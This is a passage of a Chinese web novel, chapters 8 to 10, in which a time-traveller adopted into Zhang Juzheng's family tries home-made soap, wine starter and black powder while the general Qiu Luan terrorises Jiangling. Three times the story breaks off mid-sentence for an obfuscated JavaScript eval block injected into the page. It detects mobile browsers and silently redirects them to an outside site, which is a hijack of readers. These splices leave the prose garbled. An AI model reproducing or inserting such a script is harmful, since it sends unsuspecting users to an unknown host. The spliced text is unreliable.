吴珍娘不认可地撇撇嘴:“那你们也有段年少相知的情意在呀。再说了,自古船多不碍路,他就算娶了新妇,你认人家做姐姐,这家里还不是丈夫做主?若是丈夫喜欢,多两个又何妨?丈夫不喜欢,只你一个日子也难过。” 连嬅彻底被击败了。她哭笑不得,又不知道该怎么回复。难道要和吴珍娘说,她虽然是张居正的脑残粉,但真不是梦女粉,对男神那是纯粹的敬佩和欣赏,是高山仰止,景行行止…… “哦,我明白了,你对小张相公没意思。”吴珍娘得出结论。 ——也不是没意思,是此意思非彼意思。 “阿姊,你连小张相公都看不上,眼光也太高了点,难道想嫁皇亲国戚不成?” ——谢谢,真的没有喜猪(朱)癖。 连嬅反问她:“难不成女人生下来就得嫁人吗?” 吴珍娘理所当然地回:“那不然呢?绞了头发当姑子?” 这天夜里,吃过晚饭后,在外游学多日的张文明回了家。赵氏大为惊喜,殷勤地迎上去,给他端茶递水,接风洗尘。他却神色淡淡的,看不出半点和妻子久别重逢的喜悦。 倒正应了吴珍娘那句“丈夫不喜欢,只你一个日子也难过”。 一到晚上就漆黑一片的东厢房终于燃起油灯,张文明捧着一本游记坐在灯下看书。 赵氏和丈夫谈起暂住在西边耳房的连嬅。 “那个小姑娘是白圭带回来的,说是先前一位同窗的妹妹,家里搬去顺天府了,却把她一个扔在荆州。奴家看这孩子可怜,就说让她在家里先住着。” 张文明稳坐桌前,头也没抬,不置可否:“家里的事,你做主就好。” 赵氏沉默,把他带的行李拆出来,要洗的放在一起,干净的叠好放回衣柜里。忙得差不多了,她重新开口:“连嬅是个乖巧懂事的好孩子,这几天住在家里还帮着前后忙活,奴家都看在眼里。白圭说她家里人暂时联系不上,咱们家又一直没个女儿,奴家想着要么认她当个义女?” 张文明终于舍得放下书。他沉吟片刻,说:“这样也好。白圭大了,认个妹妹也算避嫌。” 虽然连嬅还只是个虚岁十二的小女孩,但在这个十四岁就到黄金结婚年龄的万恶的旧社会,她已经半只脚迈进了适婚人群的门槛。 赵氏倒没考虑什么避不避嫌的,得了丈夫的首肯,她高兴地说:“奴家明天就去问问她愿不愿意。” 8. 第 8 章 连嬅愿意吗? 她简直不能更愿意了! 换任何一个张居正的脑残粉,甚至是黑粉过来,告诉ta现在有个机会摆在眼前,只要你点个头,未来权倾朝野的大明第一首辅就是你哥哥了,你看谁不答应? 抱上这么一条粗大腿,唯一需要担心的只有张居正死后的清算。 但那已经是万历十年的事了,离现在起码还要四十多年。 更何况是个穿越者都会有种莫名的、自己可以改变历史的自信。 连嬅也不例外。 她甚至还盘算过要不然等万历这忘恩负义、猪狗不如的摆子出生了,直接潜入裕王府把人掐死,从根源上解决问题。 不过眼下还早得很,万历的父亲,今年二月份刚被封为裕王的朱载坖还是个路都走不稳的小屁孩。 在东厢房的正堂里,两辈子没见过亲娘的连嬅第一次拜了个干娘,她百感交集地给张老爷和赵夫人敬茶。张文明接过去放在一边,没说什么,赵夫人却紧握着她的手,笑得温柔可亲,一如初见。 “好好好,乖吖儿,你在家时都读过哪些书?” 赵夫人本名赵锦灿,是隔壁石首县一位乡绅的女儿,成化年间她家里还出过一位进士老爷,可惜只外派了个七品县令就辞职闲住了。到她这一代时,家道已经中落。 她十五岁那年被父亲许给年轻的秀才公张文明,没想到一晃眼快二十年过去,张文明还是个秀才。 幸好生的儿子争气,日子多少有点盼头。 正经书香门第的女儿,从小都是琴棋书画女红刺绣地教养着,赵锦灿推己及人,又听连嬅讲了几天故事,觉得这姑娘必然也读了不少书。 ——上辈子那还真没少读,比如C语言从入门到入土……这辈子除了道经就是符箓,没看过什么正经东西。 连嬅低眉垂首:“女儿愚钝,不曾读过什么书。” 硬要说的话,启蒙课本是《道德经》。 “音律呢?琴筝箫笛,可有什么喜欢的?” 连嬅摇摇头,诚实地说:“都没学过。” 她五音不全,去ktv唱歌跑调能跑到十万八千里。 “没学过也无妨。”赵夫人摸摸她的发顶,怜惜地说,“你若喜欢棋艺、书画、女红,娘也能教你一些。” 下棋只会五子棋,画画只会火柴人,女红手艺仅限于缝衣服扣子…… 连嬅简直要眼含热泪了。想她堂堂新时代高知高收入独立女性,怎么穿到明朝好像成废物了? 为了证明理工科也有存在价值,这两天除了给张居敬和赵夫人讲《射雕英雄传》,剩下的时间连嬅都在捣鼓一些乱七八糟的小发明。 比如肥皂。把鸡蛋壳烤干磨成粉得到碳酸钙,用灶房里的草木灰泡水过滤碱液,然后斟酌着加入一些桐油——其实油也不算很贵,按照这年头的市场价,一两银子大约够买20斤灯油、30斤杂油、60斤桐油。 而且明代的一斤是600克,换算过来实际购买力还要更高一些。 在经过了一整晚奇妙的皂化反应后,连嬅得到了一小盒散发着刺鼻的酸臭味儿的非牛顿流体。 受限于实验器材,她甚至做不了定量分析,只能简单地猜测也许是温度太低,也许是草木灰泡出来的碱液浓度太低,也许是搅拌不足……但退一万步讲,真能成功固化,这味道也让人闻风丧胆,望而却步。 刚走进连嬅房间的王六娘被臭味儿熏得连连后退,面露难色:“连姑娘,你房里是什么东西放坏了?” 连嬅无语凝噎:“……” 桐油真是便宜有便宜的道理,想做个肥皂还得整些活性炭吸附异味。 除了肥皂,连嬅还考虑过造玻璃。明代其实已经出现玻璃了,宋应星在《天工开物》里也详细记载过玻璃的制法,但它在这年头还是个相当昂贵且稀罕的物件,只有上层的少数达官贵人可以享用。 比如朱连嬅就有一套价值不菲的玻璃盏。 但这个想法是排除最快的,因为农家小灶根本不可能达到上千度足以熔化石英砂的高温。 没有玻璃,那烧杯、蒸馏烧瓶、冷凝管之类的更是天方夜谭,只能琢磨琢磨有没有其他可以做简单化学实验的仪器。 连嬅苦思冥想,终于想起一件神物——嘉靖道长的炼丹炉。 她兴冲冲地去找王六娘:“嬷嬷,你知道哪里有卖鼎炉的吗,就是道士们炼丹用的器皿,最好有一整套的冶炼、气冷、灼烧装置。” 嘉靖在西苑造的炼丹炉就有这些,不仅功能上一应俱全,而且做工极其精细。炉鼎四方雕刻着青龙、白虎、朱雀、玄武,正中央是太极阴阳鱼,栩栩如生的蟠龙纹从颈部蜿蜒而上,又隐没在顶端朦胧难测的雾里,颇有几分人间仙境的缥缈。 连嬅要求没那么高,造型什么的都是其次,只要能用就好啊。 被她殷切目光注视着的王六娘完全没听懂那是个什么仙物,但又不忍心看她失落,只好回道:“姑娘可以问问大公子,他见多识广的,兴许知道。” ……拿这种事打扰张居正,不太好吧。 连嬅蔫了那么一小会儿,很快重整旗鼓。没关系,就算没有工具,总还有可以手搓的! 她现在只恨自己大学没选化学或者材料,所有相关知识都只有高中水平。 说到手搓,不得不提的就是做酒曲。太祖皇帝朱元璋建国时,攻击元王朝以酒水专卖搜刮民财,明朝建立后,便干脆取消了专卖。要是换了宋朝,只怕连嬅今天发酵酒曲酿酒,明天就得被刺配沧州。 酒曲主要制作原料是糯米粉、麸皮和辣蓼草,比例大概为一斤糯米粉兑三两麸皮和1.5两辣蓼草粉。把原料混合均匀,加水揉成团,再均匀地搓成小球。然后找个簸箕,撒一层麸皮,把小球摆上去,再撒一层麸皮。最后盖好盖子,在避光通风处发酵半个月,取出风干后就能得到酒曲。 ——如果没出意外的话。 连嬅在灶屋忙活,张居敬就跟在她身后转,像个小尾巴一样:“你在做糖丸吗?” 孩子王的体质还在发力。不过张居敬这小孩是个死傲娇,天天黏在她身边,连一声“阿姊”都不肯叫。 连嬅敷衍他:“我搓金子呢。” 张居敬瞬间瞪圆了眼睛:“金子才不是这个颜色。” “这你就不懂了吧,”连嬅找了块布盖上酒曲,然后把东西放在灶台边上的角落里,指望这里的气温更高一点,方便发酵,“这是聪明人才能看见的金子。” 酿酒可是暴利行业,酒曲怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736931|157358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么不算是另一种颜色的金子呢? 赵夫人依旧在院里缝她永远缝不完的衣服。只是看见连嬅脚步轻快地从灶屋走出来时,嘴角不自觉带上了笑:“又在折腾什么。” 前天的“香皂”还历历在目。也不知道这丫头哪来那么多稀奇古怪的主意,真就一天也静不下来。 “这次绝对没问题。”连嬅打完包票,略感心虚,“等上半个多月,咱们家应该就能自己酿酒了。到时候喝不完的拿去卖,干娘也不用天天缝衣服熬眼睛。” 赵夫人显然不相信,她笑着摇摇头:“你有这份心就好。我前几天扯了块豆绿的缎子,颜色挺鲜亮,就是小了点,正好能给你裁一条裙子。等做好了你试试?” 连嬅实在没什么衣服可穿。府里和她年龄最相近的就是李惠芹,可李惠芹最小的衣服套在她身上还是松松垮垮。赵夫人在衣柜里翻来翻去,找出了几件长子的旧衣,比着连嬅的尺寸裁了裁,勉强能用。 但好好一个小姑娘,每天穿些长袍、直身,打扮得像个小子,这怎么能行? 其实连嬅自己倒觉得还好。 长袍穿习惯了挺方便行动的,不然穿件簇新的马面裙去茅厕刮墙灰,那可太不忍直视了。 说起刮墙灰,就不得不提前天院子里爬进来的那条青蛇。虽然被连嬅拿柴火棍扎了个对穿,但还是把赵夫人吓够呛。 所谓“四月蛇勤走”,这时节正是蛇类冬眠苏醒后四处觅食的时候。赵夫人托人去药店买了些硫磺粉,撒在院子里驱虫。一听见硫磺的大名,正钻研民科钻研到快走火入魔的连嬅立时两眼放光。 木炭家里有冬天烧剩下的,磨成粉就行。现在万事俱备,只欠硝石。 如果她有一口大锅,那还可以考虑把茅坑的粪土挖出来熬硝。可惜家里的锅是要用来做菜的。 她只能退而求其次,刮一刮茅厕墙面上的白色结晶物。 可惜分量实在不多,也就刮了两匙。 这东西和能赚钱的酒曲不同,纯属连嬅的个人兴趣,因此做起来慢慢悠悠的,丝毫不着急。直到酒曲的制作告一段落,她才有闲工夫磨炭粉。 中午一两点,府里的人都睡午觉去了,连嬅窝在院墙角落里,按着比例混合三种粉末,怕分量太少效果不明显,她还把张镇给的粽子糖碾碎了半颗加进去。 然后她拿起刚磨好的炭笔,在竹纸上写粗糙的实验记录。 尽管实验品质量只能靠预估,但说不定以后还有机会调整配方或者改变实验环境,这些都是珍贵的原始数据啊。 最后一步是点火。连嬅掏出火镰,向下猛击火石,溅射出的火星点燃了底下的火绒,她把火绒往那一小堆粉末里一丢—— 没有预想中的爆炸声,只是“腾”一下狼烟四起,冒出一大截熊熊燃烧的火焰。 连嬅一边记录实验现象,一边思考是分量的问题还是密度的问题,或者黑/火/药根本不具备高强度爆炸的能力,只适合做个烟花——耳边忽然响起一道熟悉的声音:“你在这做什么?” 她扭过头,看见了一身天蓝色圆领长袍,头戴方巾,脚蹬长靴的张居正。 自制黑/火/药刚刚烧完一半。连嬅站在火光中欲哭无泪地想:怎么每次见到男神都一副被捉贼拿脏的架势呢? 9. 第 9 章 按理说今天才四月初九,还没到放假的时候。张居正急匆匆地赶回来,显然是学里出了事。 仇大将军这些天四处“平乱剿匪”,快把江陵县方圆十里的流民都抓干净了。县衙的监狱塞满了,就往府衙里塞,实在塞不进去的,挑个日子砍了,总之都是他的赫赫军功。 荆州府台李士翱半个月前被圣旨召往安陆,至今未归,江陵县的父母官又人微言轻,胳膊拗不过大腿,只能任由仇鸾自作威福。 他在外面潇洒够了,不知怎么想的跑去荆州府学里耍威风,硬要督学(湖广提督学校官)给他下跪磕头。 提学官虽不是什么高品级,但也是两榜进士,要么出自都察院、要么出自按察司,都是监察系统的官员,地位超然,奉敕谕视事,自然没给仇鸾什么好脸色。 仇鸾恼羞成怒,声称府学里窝藏流寇,搬出圣上谕旨,要带兵彻查。这下子学里乱成一团,督学气得怒骂此人“沐猴而冠,马牛襟裾”,可圣旨在上,也只能停了课,任其盘查。 张居正回到家时正怏怏不乐,一推开门,看见一个浑身灰扑扑,裹着条半旧还有些眼熟的长袍,头发歪扭扭地束着,蹲在火堆旁写写画画的小孩。 这火堆也蹊跷,甚至看不出是什么东西在烧,火苗和烟雾一起蹿得老高。 他错愕地发问:“你在这做什么?” 连嬅顶着一张被炭灰糊得脏兮兮的脸,尽可能目光诚恳:“……在炼丹。” 火/药怎么不算丹药的一种呢! 张居正眉头一挑:“丹呢?” 角落里那一小撮不到五十克的火/药还在激烈燃烧着,冒出的浓烟把连嬅熏得连打了几个喷嚏。 “……还在烧。” 如果能充分燃烧,二氧化碳和氮气流入大气层,会剩下一点白色的硫化钾。 张居正看起来很感兴趣,他试图走近一点观察,却被连嬅一只手拽住了袖子。 虽然现在看起来炸不了,但万一要是炸了呢。 “很危险的,公子别靠太近。” 张居正失笑:“你不是站得比我还近吗?” “呃……”连嬅被他堵得没话说,手却坚持扯着张居正的袖子。生命安全重于泰山,黑/火/药可不是开玩笑。要是张居正还往前凑,她就直接把人拖走。 ——还好事情没有发展到这一幕。 因为张居正低下头,看了眼自己被紧拽着的袖口,准确地说,他在看拽自己的那只手。 那只刚刚捏过炭笔,在他干净的袖口处留下漆黑的五指印的右手。 连嬅顺着他的视线看过去,顿时尴尬地耳朵都烧起来了。 “这是炭灰,其实不脏的。”她努力解释,“要不你脱了我给你洗干净?” 但张居正只是摇摇头,指向连嬅左手捏着的那张竹纸:“这是什么?” ——黑/火/药的配置及其燃烧的探究实验报告。 这时候不得不感慨,连嬅用拼音写实验报告的行为多么有先见之明。虽然写起来冗长,阅读也费事,但是这个世界上除了她,绝对没有第二个人能看懂。 因此她理不直气也壮地回道:“是符箓。” 张居正从不信什么阴阳鬼神之说,对时人所追捧的某某道爷或某某真人更不以为然。无奈本朝最尊贵的皇帝陛下信,不仅信,他还要给道士们建斋修醮,大搞符咒、烧炼、扶鸾之术,宠信一些像邵元节、陶仲文、段朝用这样的神棍,甚至许以国师,封为伯爵,让这些道士参与裁理国政。 上有所好,下必甚焉。府学里也有不少学子苦心钻研玄学,指望另辟蹊径,获得拔擢。张居正对这些道不同者向来冷眼旁观,如今见连嬅痴迷此道,却忍不住想劝两句。 也许是因为他给这颗将熄的火种吹过一口气,又亲眼见到复燃的火花,所以会有种命运相连的错觉,不愿看她小小年纪误入歧途,白白浪费生命。 “我这几天都休假在家。”张居正忽然说。 连嬅迟疑着点点头表示收到。 ——对黄糖脱色、土法水泥的研究可以暂时搁置了。 “你已经开过蒙,也识字,对吧?” 连嬅继续点头。虽然她毛笔字写得不怎么样,但认繁体字还是没问题的。 张居正露出温和的微笑:“那很好,你跟我学几天《周礼》吧。” 连嬅下意识地点头。 啊? 她震惊地瞪大了眼睛,抬起头,目光第一次直视男神那双漂亮的丹凤眼。 平静、深邃、神秘,在火光映照下隐隐泛红,像两颗品相极佳的金沙黑曜石。 连嬅脑海里一大片弹幕呼啸而过。 这三句话前后有什么关联?为什么忽然说要教我学《周礼》?在暗示我行为太出挑吗?可是看起来好像也没有生气的样子? 然后她陡然想起了隔壁吴珍娘的提点,什么近水楼台先得月,什么沏茶磨墨捏肩的……再看看男神光风霁月的身姿—— 罪过罪过,阿弥陀佛,福生无量天尊,她竟然对男神产生了一丝丝罗曼蒂克的遐想。 如果说张府原本是一道平静的水面,那张居正临时放假回家的消息就是一颗深水鱼雷。 赵夫人终于舍得放下手里的绣活儿,问长子最近学业如何,府学里过得好不好,有没有认识什么新朋友……这些问题张居正每回一趟家都要回答一次,每一次都不厌其烦,尽量让母亲少操一点心。因此赵夫人问他怎么突然放假,他只说学里临时有事,而不提具体出了什么事。 “我前两天认了连嬅做干女儿。”赵夫人说,“这孩子早上还在院里磨什么炭粉,这会子不知道躲哪里去了,我叫她来见见你。” 家里多了个妹妹,这却是张居正没料到的。他笑了笑:“我刚回来时已经见过她了。” 整个儿一花脸猫。 午觉睡醒的张居敬听说哥哥回来了,蹿下床就往东厢房堂屋跑。连嬅不用讲哄小孩故事会,也乐得清静,去张居正书房里把自己送过去的《周礼注疏(卷一)》又拿回了西耳房。 ……说是明天就上第一堂课,为了不当傻子,她决定做好课前预习。 而在她看不见的地方,张居敬这熊孩子已经把她这几天干的大事小情全给他哥抖搂了个干净。 话题起始于张居敬酝酿了好几天的疑问——究竟什么是海禁?为什么不让人出海?他问连嬅,连嬅转移话题避而不答;问父亲,张文明说小孩子哪里听的乱七八糟的;剩下的又没一个人清楚。 现在好了,哥哥回来了,终于有人可以回答他的十万个为什么。 张居正说,海禁是因为海上有坏人,怕百姓们出海遇到危险。 那为什么不把坏人赶跑?反而不让好人出门呢? ——当然是因为我大明自有国情在此。 张居正说,因为坏人太多了,要把他们打跑需要花很多钱,可是现在没有那么多钱可以用。 好吧,张居敬勉强接受了这个解释,只是有点失落。 “我还想去鲁老爷的小岛上看看呢。” 张居正问:“哪位鲁老爷?” “就是跟着三宝太监下西洋的鲁老爷,连阿姊说他漂流到了一个小岛上,还自己建房子、种地……” 简直不打自招。 ——如果连嬅能听到他们的谈话,她脑海里应该已经响起了小阁老那句经典台词:“奸臣”已经自己跳出来了。 自从张文明带着小厮回府,劈柴挑水的活儿就轮不到连嬅来干。她浑身上下使不完的牛劲只能用来做好人好事,比如帮隔壁吴珍娘家修理坏掉的桌椅板凳。 吴珍娘的母亲叫明春,是个面容妩媚,身段姣好的小妇人。自从丈夫染上赌瘾,家里的一应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736932|157358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开销都靠她早出晚归在城里卖豆腐支撑。因为女人抛头露面去赚钱的不多,还有好事者送了她一个豆腐西施的绰号。 往常,明春会在酉时三刻左右回到家,给女儿做晚饭。这几天因为感激连嬅的帮忙,回家时还会给她捎带个小礼物,像是额帕、木簪什么的。 可今天太阳都落山了,明春还迟迟未归。 珍娘早已饿得前胸贴后背,只能靠咽口水暂且安抚饥饿。 她苦着脸说:“早知道娘这么晚不回,今日就不该踢毽子。” 连嬅早就吃过晚饭了,见她饿得可怜,安慰道:“我家灶房还有半个麦饼,先拿过来给你垫一垫吧。” 张府只有堂屋点了灯,张镇、张文明、张居正祖孙三个坐在屋里。 张镇说:“真是荒唐。他在城外胡乱抓人也就罢了,怎么还闹进了府学?” 张文明问:“府台也管不了他吗?好好的江陵县,给一个仇鸾闹得鸡犬不宁。” 张居正苦笑摇头:“府台尚在安陆,不知何日能归。” 连嬅拿着麦饼经过堂屋,过人的耳力让她迅速捕捉到了仇鸾的大名。 仇鸾,世袭咸宁侯,在大礼议事件中因支持嘉靖而受到恩宠。作为将领,他除了贿赂通敌、杀良冒功、谗害忠臣外再无其他本事,却能八佩将印。作为政治生物,他立场反复,能同时得罪彼此对立的多方势力,真正做到了敌人的敌人也是敌人,以至于病死后被开棺戮尸,实乃咎由自取,罪有应得。 这个时间点,仇鸾不应该跟随嘉靖回京吗?他跑来江陵做什么? 张居正的声音清晰地飘了出来:“仇鸾有陛下敕谕,谁也拦不了他。他这几天快把县里翻得底朝天了,依我看不像是剿匪,倒像是寻人。” 连嬅不自觉屏住了呼吸。 她脑海里又浮现出刚睁开眼时,在城门楼上看到的那三具稻草人,虽然面目狰狞,五官扭曲,却依稀有几分眼熟。 也许明天应该去寅宾门再看一眼,说不定真是熟人呢。 但想到那三具干枯的人皮,她就觉得脑袋发麻。 仇鸾如果真是带着皇帝敕谕来找失踪的皇长女的,那应该对她没有危险。可是不对啊,仇鸾根本没有见过朱连嬅,嘉靖为什么会派他来找人呢? 这可不是嘉靖二十一年壬寅宫变后,道长大多数时候还是很传统地在乾清宫面见臣子。朱连嬅虽然常常在西苑走动,也只不过和廖廖几个朝廷重臣有过偶然碰面。 她见过张璁、夏言、严嵩等人,但和仇鸾可真是素不相识。 或者只是仇鸾在明搅混水,而另有人在暗? 那暗中的人又是受谁指使?是来找她的还是想确认她死没死透来补刀的? 带着一肚子疑问,连嬅成功失眠了。 第二天一早,她顶着硕大的黑眼圈,了无生气地坐在张居正对面,桌上是一本摊开的《周礼》。 第一卷叫做天官冢宰,在大明,这是吏部尚书的尊称。 《周礼》一层一层地介绍着天官冢宰管理的官吏,像剥洋葱一样从大宰一路剥到夏采,伴随着张居正平静无波恍如科普视频旁白的声音,成功把连嬅听哭了。 她想打哈欠,又不好意思,只能默默掐自己的大腿保持清醒。 一遍讲完,张居正开始随堂测验:“内府几人?” 连嬅迟钝的大脑努力运转:“中士二人,配府一,吏二,徒十。” 好在她记性好,昨天提前看过一遍。 “司会几人?” 这个就复杂很多,连嬅努力回忆着。 “中大夫二人担任,下大夫四人为副,配上士八,中士十六,府四,吏八,胥五,徒五十。” “你父亲真是道士吗?” 连嬅无意识地回道:“是。” 她回过神时后颈一凉,人也彻底清醒了。 10. 第 10 章 回顾她这几天的所作所为,其实不被张居正当成神经病都算不错了。 熹微的晨光透过窗外的几棵竹子洒进来,照在连嬅因熬夜与惊吓而显得格外苍白的脸上。 她鼓起勇气,心想要不然伸头一刀直接坦白从宽,如果张居正愿意相信,兴许还能帮她把乱成麻的思绪梳理一下。 “我其实……” 但她还没说完,张居正已经先发制人:“你其实是从承天府来的吧?” 连嬅:…… 她现在震惊得有点麻木了。 “阁下年龄虽幼,可相貌不凡,颇有见识,又热衷于符咒炼丹之术,出身绝不普通。” 张居正用食指指节轻扣桌面,眉心微蹙。 “三月份圣驾南巡承天,携皇长女同行。听闻皇女殿下自幼通玄,精习道法,又秉性仁孝,目下暂留承天府为献皇后守灵——” 献皇后指的是嘉靖的生母,也就是朱连嬅的祖母,谥号慈孝贞顺仁敬诚一安天诞圣献皇后。 ……还有这回事啊。 连嬅的心脏已经快跳到嗓子眼了,她手指扣着上衣下摆,忐忑地等待着“判决”。 “你是殿下身边的道童?” 嘎? 一般情况下,道童这个职业应该是仅限男性的,但陪伴皇女修行的道童又是另一说了。 “你自己跑出来的,还是被人劫持?陛下南巡是否出了意外?仇鸾……仇将军又是来江陵寻谁的?” 如果除了朱连嬅的出生外,一切皆如《明实录》中所记载,那嘉靖南巡途中遇到的意外……就还挺多的。 先是赵州和临洺镇两处行宫,在圣驾离开之后都发生了火灾。接着进入河南重镇卫辉之前,有阵旋风一直环绕不去。秉一真人陶仲文称“主火”,且断定这场火不能避免,只能“谨护圣躬”。当晚四更时卫辉行宫果然大火,还是锦衣卫指挥陆炳在危难之际救出了皇帝。 最为吊诡的是,这么一桩大案,各种史料记载中仅《国榷》将其归因于“宫人所遗烛”,其余如《明实录》、《明史》均对纵火原因语焉不详,遮遮掩掩。 嘉靖严惩了侍卫与当地官员,却又敕谕留守北京的次辅顾鼎臣,告诉他几场大火都是驾过之后才起的,不要信妄疑真,朕躬甚安。 什么是妄?什么是真?这几场火会和朱连嬅有关系吗? 也许见她迟迟没有回应,脸色还越来越难看,张居正轻叹一声,拍了拍她的脑袋:“想不起来就算了。承天府离此地不远,你若想回去,我托朋友送你一程?” 连嬅绷着脸,摇头摇得像拨浪鼓。 什么龙潭虎穴,是人待的地方吗? “江陵县可比不得承天府,你留在这里只有粗茶淡饭。” ——错误的,看你的脸都能炫三碗饭。 “而且连个炼丹的鼎炉都买不到。” ——本来也是民科胡闹,鼎炉有没有的无所谓。 “你真想好了?” 连嬅从这一长段话里嗅出了不妙的味道。 她抬起头,急切又苍白的神色配合哈欠打不出来憋的泪珠,合成了一张泫然欲泣的脸:“公子要赶我走吗?” 年仅十四岁的张居正被这双水淋淋的杏眼看得有点手足无措了。 他反问自己:我说了什么很严重的话吗? 好像也没有吧。 他本意只是想确认连嬅的来历,可不是想把人欺负哭。 “我娘不是认你做了干女儿?”张居正努力和缓语气哄小孩,“那按辈分,我也算你的兄长,怎么会赶你走呢?” ……真的吗,你别骗我。 连嬅擦了擦眼眶里残余的泪。 “对了,今天学的叙官你先抄八份。”张居正斟酌了一下,露出了和善的微笑,“明早给我吧。” …… 小学毕业后再也没抄过书的连嬅试图抗议:“真的需要抄八遍吗?” 但被张居正无情驳回:“书读百遍,其义自见。正好你也练练字,少画符。” 叙官篇字数一千出头,八份就是九千字。这一练直接练到了傍晚。连嬅捏着自己酸痛的手腕,看着旁边堆叠的竹纸,有一种刑满释放的感觉。 毛笔字写起来真痛苦啊。 如果布置作业的人不是张居正,她现在一定在心里疯狂吐槽这变/态的老师。 一整天没吃饭的珍娘枯坐在院子里,眼睛始终盯着紧闭的大门。 她爹两三天前拿着家里的钱出去了,也不知道什么时候输没了回来,当然,不回来最好。但她娘从昨晚到现在,也一直没回家。 今天早上,她去娘常摆豆腐摊的地方看了,那里已经变成了一个烧饼摊。她问摊位上的小贩,那个人咧开一口黄牙,笑得一脸鄙夷:“你说豆腐西施?指不定攀上哪位老爷给人家当小妾了,还卖什么豆腐?” “我娘不会丢下我的!” “你是她女儿?”于是那人上下打量几眼珍娘干瘪的身材:“你们母女倒是一点不像。得了得了,你找你娘到别处去,别耽误爷们儿做生意。” 隔壁摊卖杂货的摊主看她可怜,好心提醒了一句:“这几天城里乱,你早点回家去吧。你娘……你就当她去享福了。” 珍娘去了附近几个热闹的坊市,同样一无所获。她失魂落魄地回了家,却在路上远远看到一队骑着高头大马,穿着鲜亮布甲的官兵。这些人比县衙里的皂隶气派多了,他们在马背上昂首挺胸,像一群炫耀羽毛的公鸡。 只不过他们炫耀的是马背上一颗颗滴血的人头。 街上原本也没几个人,此时全作鸟兽散。珍娘原本躲进了小巷里,但她忽然想起什么,又忍着恐惧和恶心探出头,仔细审视马背上每一张死不瞑目的脸。等这一队人缓缓经过,她瘫坐在地,松了口气。 还好,没有看到我娘。 她并不知道,汉族女子的头是不值钱的。 大明建立之初,以战功论赏,分奇功(斩将、夺旗、陷阵、先登)、头功(当先、跳荡、摧锋、破敌)、次功(侦踪、守阵、擒敌、被伤)。但这样无法被量化的功劳不可避免地产生了滥报、腐败,于是到正统年间就换成了斩首记功。 首级的市场价是持续波动的,比如倭寇的人头在明早期其实不值钱,到了嘉靖年间一度飙升到150两银子一颗,但大体上总是外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736933|157358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 族人头远远贵于内贼人头。 鞑靼的幼弱妇孺,四颗头可以抵一个壮年男子人头,而针对内贼来说,女人的头价值为零。 抄完了书,趁着天光还亮,连嬅打算摸去东门看看情况。走之前,她想起昨晚迟迟未归的明春,犹豫了一下,拍了拍吴家的大门。 或许昨天是生意不好所以耽搁久了? 没人应门。 珍娘也不在吗?她用力推了一把,门开了。 吴珍娘坐在地上,面如土色,看见她走过来忽然崩溃大哭:“阿姊,我找不到我娘了……” “你娘还没回来?出什么事了?” 吴珍娘哭着摇头,嗓音呜咽:“我去豆腐摊找过她,她不在。还去了几个坊市找她,也没有。” “你先别急。”连嬅握着她的手安慰她,“我去帮你找找看。” “不……”珍娘想起那一堆挂在马上的人头,她拉紧连嬅的手,“阿姊,你别出门。” “你出去看见什么了?有坏人?”连嬅问。 “是官兵,还有头……”珍娘颤抖着嘴唇,“很多、很多颗头。” 那根本不是山匪。 并不听劝的连嬅坐在了寅宾门附近一家茶馆里。 这些天逐渐回温,挂在杆上的的三颗头已经分辨不出具体的五官,但正中央那一个的右半边脸还带着一条明显的长疤。 她想起来了,那道疤还是她亲手划的。 因为这三个稻草人,才是她第一次苏醒时睁开眼见到的人。 他们是江陵县的人贩子。 远远地传来一阵杂乱的脚步声,紧接着是哭闹、求饶、甚至惨叫的声音。一队面黄肌瘦,形容枯槁,手无寸铁的“叛匪”被官兵押解到城门口,听见官老爷口中说什么“叛逆谋反”、“罪当处死”的话,一个个哀哭着有气无力地喊冤,然后被一鞭子抽上来。 这样的戏码短短几天已经上演了数次,前几天还有人来围观热闹,如今也没人有兴趣看了。 一位穿着深青色长袍的茶客恨声问:“难道咱们只能坐等府台老爷回县里,把这位仇将军请出去吗?” 坐他对面的同伴是个络腮胡满脸横肉的大汉,他冷笑一声:“说不定府台没到,咱们几个也被当成叛匪剿了。” “刘兄慎言!”带瓜皮帽的那个劝道。 茶馆里包括连嬅在内,原本稀落落坐了八个人。看见官兵来了,走得只剩四个。 他们三个人坐一桌,连嬅自己坐一桌。 “真他娘的憋气!”姓刘的壮汉一拳砸在茶桌上,“不如老子一把火烧了卫所!” “说得好听,烧了咱们住哪?” 原来这几个是荆州卫的军士。 连嬅主动搭话:“几位军爷,敢问仇将军是住在荆州卫所吗?” 姓刘的络腮胡大汉哼笑一声:“是又如何?” 连嬅站起身,拱手一揖:“劳烦为小人引荐。” 